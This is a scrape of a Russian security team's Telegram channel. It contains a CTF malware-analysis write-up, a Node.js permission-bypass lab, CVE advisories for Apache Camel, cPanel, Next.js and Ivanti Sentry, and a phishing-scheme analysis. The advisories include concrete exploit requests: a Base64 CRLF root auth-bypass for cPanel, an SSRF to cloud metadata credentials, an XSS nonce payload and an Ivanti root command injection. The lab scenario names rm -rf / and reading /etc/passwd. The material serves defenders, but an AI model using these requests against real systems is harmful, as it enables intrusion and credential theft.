Четыре луча
4.04K subscribers
109 photos
1 video
118 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Решение задания с митапа Solar 4RAYS

Мы предложили участникам решить CTF-задание DropMeAgent с анализом «вредоносного» файла. Несмотря на отдельные комментарии, что задание было слишком простое, за отведенное время его решили всего два участника. У большинства возникли сложности и вопросы на разных этапах выполнения. Делимся решением.

💡 Задание:
Нужно проанализировать вредоносный файл Agent.exe. Для решения задания потребуется ноутбук и доступ к интернету.

Формат флага: ^flag\{[A-Za-z0-9_]+\}$
PS: файл получился действительно вредоносным! Настоятельно рекомендуем не запускать файл в основной системе — используйте виртуальную машину для решения.

Ссылка на файл: https://dropmefiles.com/cBPuk
Пароль от архива: 123

* ссылка доступна до 24.04.2026


Решение:

0️⃣ Любым способом нужно определить, что файл Agent.exe — это приложение .NET 9. Следовательно, потребуется декомпилятор (например, ILSpy). Также в описанном решении потребуется .NET 9 SDK и IDE для C#

1️⃣ В результате анализа Agent.exe должны получиться следующие данные:

— В классе Params в переменной Message содержится зашифрованная конфигурация файла.
— Метод RunAssembly загружает с dropmefiles.com зашифрованные сборки .NET и запускает их.
— Расшифровка конфигурации и сборок выполняется с помощью метода Dec.
— Метод GetParams расшифровывает и парсит конфигурацию

2️⃣ Чтобы облегчить решение, создаем свой проект на C# и переносим в него класс Params и методы Dec и GetParams. С помощью расшифровки Message получаем конфигурацию:
Encoding.UTF8.GetString(Dec(Params.Message))

{
"c": "https://dropmefiles.com/",
"i": 2,
"p":
[
{ "PxyG8": "1" },
{ "ExwwU": "1" },
{ "KRhvk": "3" }
]
}


Так получаем три ссылки на сборки .NET с ресурса dropmefiles.com

3️⃣ Поочередно расшифровываем все обнаруженные нагрузки
var decrypted_dll = Dec(File.ReadAllBytes("payload1"));
File.WriteAllBytes("payload1.dll", decrypted_dll);


4️⃣ В результате декомпиляции payload1 получаем код:
public class EntryPoint
{
private static string SECRET = "srm3sKOuv+q/srO6v5XSvNCXh56btoeCmIyesMLBwMWJ";

public static void Run()
{
Console.WriteLine(Decrypt(SECRET));
}

private static string Decrypt(string cipherText)
{
byte[] array = Convert.FromBase64String(cipherText);
for (int i = 0; i < array.Length; i++)
{
array[i] ^= (byte)(212 + i);
}
return Encoding.UTF8.GetString(array);
}
}


5️⃣ Запускаем код из payload1 и сдаем флаг организаторам.

Надеемся, что вы не попались на рик-ролл и не потратили много времени на поиск флага в файле flag.mp4.

Ну что, насколько сложным был таск?

🤓 — слишком просто
😨 — слишком сложно
🔥 — всё понравилось
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23😨9🤓8👾4👍1
Большая атака на маленькую компанию

Злоумышленники за две недели уничтожили всю инфраструктуру небольшой спортивной организации с помощью старой утечки у крупного подрядчика-интегратора ПО.

В процессе атаки обнаружили образец вредоносного ПО на .NET
Framework, который мимикрирует под установленный в 1C.

Подробности в новой статье
🔥8👀8👍3🤣21
Лабораторный эксперимент — создаем стенд для тестирования уязвимости CVE-2026–21636.

CVE-2026-21636 — это уязвимость в модели разрешений Node.js, которая позволяет обходить сетевые ограничения с помощью соединений Unix Domain Socket (UDS) или подключений к локальному адресу (например, 127.0.0.1).

🫡 Метрики
NIST: NVD Base Score: 10.0 CRITICAL
CNA: HackerOne Base Score: 5.8 MEDIUM
CWE: CWE-284


🫡 Подробнее
Процесс, запущенный с флагом --permission, ограничен в доступах и возможностях. Доступ к запуску дочерних процессов и созданию рабочих потоков предоставляется с помощью флагов --allow-child-process и --allow-worker.

Например, для разрешения доступа к сети используйте флаги --permission --allow-net.

Здесь и возникает уязвимость, которая позволяет обходить сетевые ограничения при включенном параметре --permission. Даже без --allow-net, контролируемые злоумышленником входные данные (такие как URL-адреса или параметры socketPath) могут подключаться к произвольным локальным сокетам и адресам через net, tls или undici/fetch.

На данном этапе модель разрешений в Node.js (в части сетевых ограничений) экспериментальная.

🫡 Сценарий, который реализуется в лабораторной:

1. Атакующий отправляет вредоносные данные в server.mjs.
2. server.mjs (песочница) через уязвимость CVE-2026-21636:
— отправляет сигнал SIGUSR1 процессу target.cjs;
— target.cjs включает отладчик на порту 9229.
3. server.mjs через fetch() (обходя --allow-net) подключается к отладчику target.cjs.
4. Атакующий через отладчик выполняет ЛЮБОЙ КОД внутри target.cjs.
5. target.cjs (у которого нет ограничений) читает /etc/passwd, запускает rm -rf / и т.д.

🫡 Нюанс:
Отладчик на порту 0.0.0.0:9229 установлен нами намеренно для большего контроля, он запускается автоматически при старте проекта. Чтобы лабораторная была более реальной, в файле supervisord.conf замените
[program:target]
command=node --inspect=0.0.0.0:9229 /app/target.cjs


на
[program:target]
command=node /app/target.cjs


При альтернативной настройке curl http://localhost:9229/json будет не доступен вне контейнера, а отладчик нужно будет запустить через SIGUSR1.

На главной странице лабораторной есть инструкция по эксплуатации, дополнительная информация отображается в логах сервера. Например, при успешном запуске отладчика в логах вы увидите:
Debugger listening on ws://127.0.0.1:9229/7ddfd664-7dd2-4667-bbac-4f7b8ce3f4fd


запуск через:
sudo docker compose up
Please open Telegram to view this post
VIEW IN TELEGRAM
14🔥6👍3🐳3
Десятибальная уязвимость в Apache Camel

Apache Camel — интеграционный фреймворк, реализующий шаблоны корпоративной интеграции (Enterprise Integration Patterns) и обеспечивающий маршрутизацию сообщений между различными системами. В основе архитектуры лежит модель передачи сообщений через объект Exchange, содержащий тело сообщения и набор заголовков (headers), используемых как для передачи данных, так и для управления поведением компонентов.

camel-coap — это компонент фреймворка Apache Camel, который добавляет поддержку протокола CoAP.


CVE-2026-33453 — уязвимость в компоненте сamel-сoap в Apache Camel, относится к классу CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes и позволяет неаутентифицированному удаленному атакующему добиться выполнения произвольного кода.

🫡 Уязвимы версии
4.14.0 - 4.14.5
4.18.0
4.19.0

🫡 Метрики
Base Score: 10 CRITICAL
CWE: CWE-915


🫡 Подробнее об уязвимости
В Apache Camel поток обработки сообщений имеет следующий вид:

Consumer — Exchange — Processor — Producer


При этом заголовки объекта Exchange используются как управляющие параметры, которые влияют на поведение компонентов. В компоненте camel-coap входящие CoAp URI query-параметры напрямую преобразуются в заголовки Exchange без какой-либо фильтрации:
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}


options.getUriQuery() берет query-параметры из CoAP-запроса, а затем каждый параметр напрямую записывается в camelExchange.getIn().setHeader(...) без проверки через HeaderFilterStrategy, что реализовано в исправлении:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();

...

if (strategy == null
|| !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
}


Это позволяет неаутентифицированному атакующему, отправив всего один CoAP-пакет на маршрут coap://, внедрить произвольные внутренние заголовки Camel* в Exchange. При передаче сообщения в компоненты (например, camel-exec, camel-sql, camel-bean, camel-file, camel-freemarker, camel-velocity), поведение которых определяется значениями заголовков, внедренные заголовки интерпретируются как управляющие параметры и могут изменить их работу.

В случае camel-exec заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют команду и её аргументы, что приводит к выполнению произвольного кода от имени процесса Camel.

🫡 Как защититься
1. Обновиться до версий, в которых содержится исправление.
2. Добавить правило IDS, которое будет реагировать на UDP пакет из внешней сети к порту 5683 (либо другой используемый порт) с содержимым CamelExecCommandExecutable и
CamelExecCommandArgs.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍94😱2
CRLF в cPanel

CVE-2026–41940 — уязвимость обхода авторизации, которая приводит к выполнению удаленного кода (RCE) в cPanel и WHM версиях после 11.40.

🫡 Метрики
Base Score: 9.8 CRITICAL
CWE: CWE-306


🫡 Кратко об уязвимости
При авторизации пользователя не важно, будет она успешной или нет, сервер создает файл авторизации на диске и ответит заголовком похожим на:
powershellSet-Cookie: whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa; 


Wg_mjzgt1hyfXefK
— первая часть значения cookie указывает на файл авторизации.

Вторая часть 1bd3d4bf5ecbf83b660789ab0f3198fa — это хеш-обфускации для каждой сессии.
if ($encoder && length $session_ref->{'pass'}) {
local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});


🫡 Части цепочки

1️⃣ }$encoder — значение получено на основании хэша обфускации. Если оно будет пустым, например Wg_mjzgt1hyfXefK, то условие вернет false и данные не закодируются.

2️⃣ Значение заголовка Authorization не очищаются должным образом и пропускают CRLF-инъекцию, позволяющую записать новые данные в файл авторизации.

3️⃣ После того как данные попали в файл сессии, нужно перезаписать их в файле кеша, который cPanel использует для авторизации. Для этого используется запрос, который вызовет функцию do_token_denied, например в
эксплойтах это GET /scripts2/listaccts.

4️⃣ Установка successful_internal_auth_with_timestamp значения в заголовке Authorization необходима для пропуска проверки пароля.

🫡 Пример нагрузки после декодирования из Base64
shellroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1


🫡 Пример CRLF-запроса
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_


🫡 Как защищаться
1) Обновиться.
2) Проверить логи сервера на цепочку запросов с минимальным временным
промежутком POST /login/?login_only=1 -> GET / c заголовком
Authorization -> GET /scripts2/listaccts.
3) Проверить недавно созданные сессионные файлы.
4) Правила на WAF/IDS, блокирующие запросы с неполным whostmgrsession
заголовком (отсутствие хеш-обфускации), и Authorization, содержащим
символы \r\n после декодирования из base64.
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥7👍5🤔2
Обновите Next.js

Vercel опубликовала масштабное обновление безопасности для Next.js, которое закрывает более десяти уязвимостей. Среди них — отказ в обслуживании (DoS), обход middleware, подделка серверных запросов (SSRF) и межсайтовый скриптинг (XSS). Проблемы присутствуют в версиях с 13.x по 16.x (с App Router) и в пакетах React Server Components 19.x.

Кратко опишем часть уязвимостей, получивших CVE-идентификатор

🫡 CVE-2026-23870 (CWE-674, CVSS -7,5)
App Router вызывает серверные действия через POST-запросы к тому же URL, что и RSC-страница с заголовком Next-Action: <ACTION_ID>. Тело запроса — сериализованный RSC-ответ, передаваемый в decodeReply()/decodeAction() из React. Ранее парсер React при гидратации (Hydration) ссылок ($<n>, $Sym$Iterator, $F.bind и т.п.) не ограничивал глубину обхода графа и не проверял циклы.
В результате тело POST-запроса, например:
0:{"a":"$1"}
1:{"b":"$2"}
2:{"c":"$3"}
...
N:{"end":"$0"}


Может привести к DoS из-за исчерпания ресурсов процессора.

🫡 CVE-2026-44573 (CWE-863, CVSS – 7,5)  
В Next.js с Pages Router и включенной интернационализацией (i18n) фреймворк предоставляет JSON-варианты страниц по двум типам адресов:

1️⃣ /_next/data/<buildId>/<locale>/<page>.json — публичная форма с локалью;

2️⃣ /_next/data/<buildId>/<page>.json — внутренняя форма без локали.

Регулярные выражения middleware некорректно обрабатывают URL-адреса данных: они распознают префикс _next/data, но не покрывают все варианты префикса локали.

В результате злоумышленник может запросить _next/data с отсутствующей или неверной локалью (или вообще без локали), и запрос достигнет обработчика страниц без перенаправления и проверки middleware.

Пример:
GET  /_next/data/<buildId>/secret.json


🫡 CVE-2026-44574 (CWE-693, CVSS-7,5)
Уязвимость позволяет злоумышленнику обойти middleware и получить несанкционированный доступ к динамическим маршрутам (например, /admin/[slug]) путем внедрения специальных внутренних параметров запроса (nxtP*, nxtI*), которым доверяет App Router, но которые игнорирует middleware.

Пример :
GET /safe?nxtPslug=admin-only-page&__NEXT_PRIVATE_NO_MIDDLEWARE_RUN=1

 
🫡 CVE-2026-44578 (CWE-918, CVSS - 8.6)
Автономный сервер Next.js автоматически перенаправлял любые HTTP-запросы с заголовком Upgrade (например, Upgrade: websocket) без проверки, предназначен ли этот маршрут для обработки таких соединений. Это позволяло злоумышленнику через абсолютный URL или поддельный Host-заголовок заставить сервер Next.js установить произвольное TCP-соединение с любым хостом и портом, доступным из внутренней сети сервера.

Пример:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 127.0.0.1:3000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13


🫡 CVE-2026-44581 (Severity- High, CWE-79)
App Router из Next.js извлекает CSP-nonce из Content-Security-Policy заголовка запроса и дублирует его на встроенные <script nonce="..."> элементы (загрузочная информация Flight, метаданные, вставляемые сервером и т. д.), чтобы браузер разрешил их выполнение.

Пример:
Content-Security-Policy: script-src 'nonce-" onerror="alert(1)'


🫡 CVE-2026-44582 (CVSS -5,9, CWE-328)
App Router в Next.js добавляет ?_rsc=<hash> параметр запроса к RSC-запросам, чтобы CDN, использующие URL-адрес в качестве ключа (а не заголовок RSC: 1запроса), не могли объединять различные варианты полезной нагрузки в одну запись кэша.

Хеш-функция представляла собой усеченную 32-битную смесь в стиле MurmurHash (computeLegacyCacheBustingSearchParam), имея всего около 4 миллиардов возможных сегментов и четыре переменных входных параметра.

Другие уязвимости подробнее описаны здесь.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥76👍5
Не делай добра, не получишь зла

Представьте, что вам пришло сообщение:

Привет Боря, поставь за Машу голос в конкурсе рисунков.


Внутри ссылка на конкурс и просьба распространить информацию среди друзей. Вроде обычная просьба или здесь что-то не так?

🫡 Схема
Сначала пользователя ведут на страницу «благотворительного конкурса детского рисунка». Карточки с детьми, кнопки «Проголосовать», блоки с наградами. Всё выглядит органично. Единственный нюанс: голос нужно «подтвердить через Telegram» — якобы «во избежание подтасовки и мошенничества».

Это классический прием: человека заранее приучают к мысли, что авторизация через мессенджер — нормальная и нужная часть процесса.

После нажатия кнопки открывается страница с логотипом Telegram, формой ввода номера и подписью «Система проверки голосов». Но в адресной строке видно главное — это не Telegram, а всё тот же сторонний домен. Перед нами не реальная авторизация, а фишинговая прокладка, которая выманивает данные или код подтверждения.

🫡 Инфраструктура
Несколько характерных признаков указывают, что это не одноразовый лендинг:

URL у разных жертв различаются, но в путях повторяются шаблоны: /ru-smile/*, /ru-color/*, /ru-future/* — признак кластера фишинговых посадочных страниц.

Злоумышленники зарегистрировали огромное количество доменов вида radost-teatr.com.tr, hope-ink.lol, mirrisunkov.cyou, deti-artvision.shop (ищите полный список в комментариях).

Большая часть ссылок находится на поддоменах, в качестве которых используются случайные английские слова вроде its, instead, six и т.д.

Поведение ссылок нестабильно: одна и та же ссылка может вернуть фишинговую страницу, редирект на Google или HTTP/2 400 от Cloudflare в зависимости от пользовательского окружения. Это может быть фильтрация по устройству, окружению, «качеству» трафика или другим признакам. В одном из ответов бэкенд подставлял строку [No Host] — признак сломанной серверной логики или фильтрации трафика.

Домены работают короткое время и иногда снова «оживают» — типичное поведение временной быстро пересобираемой инфраструктуры.

🫡 Итог
Схема строится на трех слоях: доверие к знакомому аккаунту → эмоциональный триггер («ребенок», «конкурс», «помоги») → техническая развилка на стороне сервера.

Жертва ошибается не в том, что переходит по ссылке — а в том, что вводит номер и код на странице, которая лишь притворяется Telegram. Это не «одна плохая ссылка» — это живая и управляемая схема.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍52🤯1😱1🤪1
This media is not supported in your browser
VIEW IN TELEGRAM
Приходите на наш онлайн-практикум про использование киберразведки в SOC!

Завтра в 12:00 по Москве наши эксперты по охоте за угрозами проведут практикум. Мы на реальных примерах покажем, как качественная киберразведка ускоряет детектирование сложных киберугроз на уровне SOC.

Что расскажем:
🫡 как поймали змея за хвост в организации, где он сидел незамеченным 1,5 года;

🫡 как обнаружили, что сотрудники установили хакерские инструменты в обход политик безопасности компании;

🫡 как с помощью киберразведки обнаруживать и блокировать DNS-туннели, вредоносы, которые используют DGA, и скрипты, применяющие DNS Rebinding.

Это лишь небольшая часть того, что наша команда приготовила для практикума. Если в SOC вы отвечаете за эффективность, то регистрируйтесь — будет много пользы.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥106👍6
Ivanti Sentry RCE

CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.

🫡 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-78


🫡 Об уязвимости
Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage

Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.

StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
sb.append(tokenizer.nextToken()).append(" ");
}

value = sb.toString().trim()

response = this.handleMessage(module, xpath, command, value);


Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.

switch (ConfigCommand.getCommand(command)) {

case EXECUTE:
response = reqProcessor.handleExecute(xpath, value);
break;


return response;
}


Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.

Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().


XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);

Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");


executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()

String implClsName = obj.getClass().getName();
String methodType = "get" + type + "method";
Method method = ReflectionUtilities.getMethod(implClsName, methodType);
XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getClassname");
XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);

Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
)


🫡 Результат
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)

🫡 Пример
execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>


execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.

🫡 Как защищаться
1) Обновиться.

2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage.

3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message передается строка execute, <commandexec> , system и тд.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥63